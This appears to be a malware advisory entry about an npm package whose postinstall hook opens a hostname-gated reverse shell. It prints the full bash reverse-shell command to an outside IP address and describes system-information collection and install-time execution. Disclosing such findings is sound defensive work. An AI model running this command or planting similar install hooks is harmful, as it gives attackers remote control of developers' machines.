GCVE-110-OSM-2026-12218

postinstall.js is registered as the package's postinstall script and runs automatically on npm install. It compares os.hostname() to the hardcoded string 'ubuntu-fc-uvm' and, on a match, executes `bash -c "bash -i >& /dev/tcp/14.225.210.85/80 0>&1"` via child_process, opening an interactive reverse shell to 14.225.210.85 on TCP port 80. The script includes retry logic and writes to /tmp/postinstall-revshell.log. The hostname gate suppresses activity on non-matching hosts, but the payload is shipped in every install of this version. ENTRY postinstall.js (install-hook: node postinstall.js) - Install Hook Executes Local JS File in package.json DESTINATION - 1 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - System Information Collection in postinstall.js: "os.userInfo()" ADDITIONAL FINDINGS - Shell Command Execution in postinstall.js: "require('child_process')" PAYLOAD FILES postinstall.js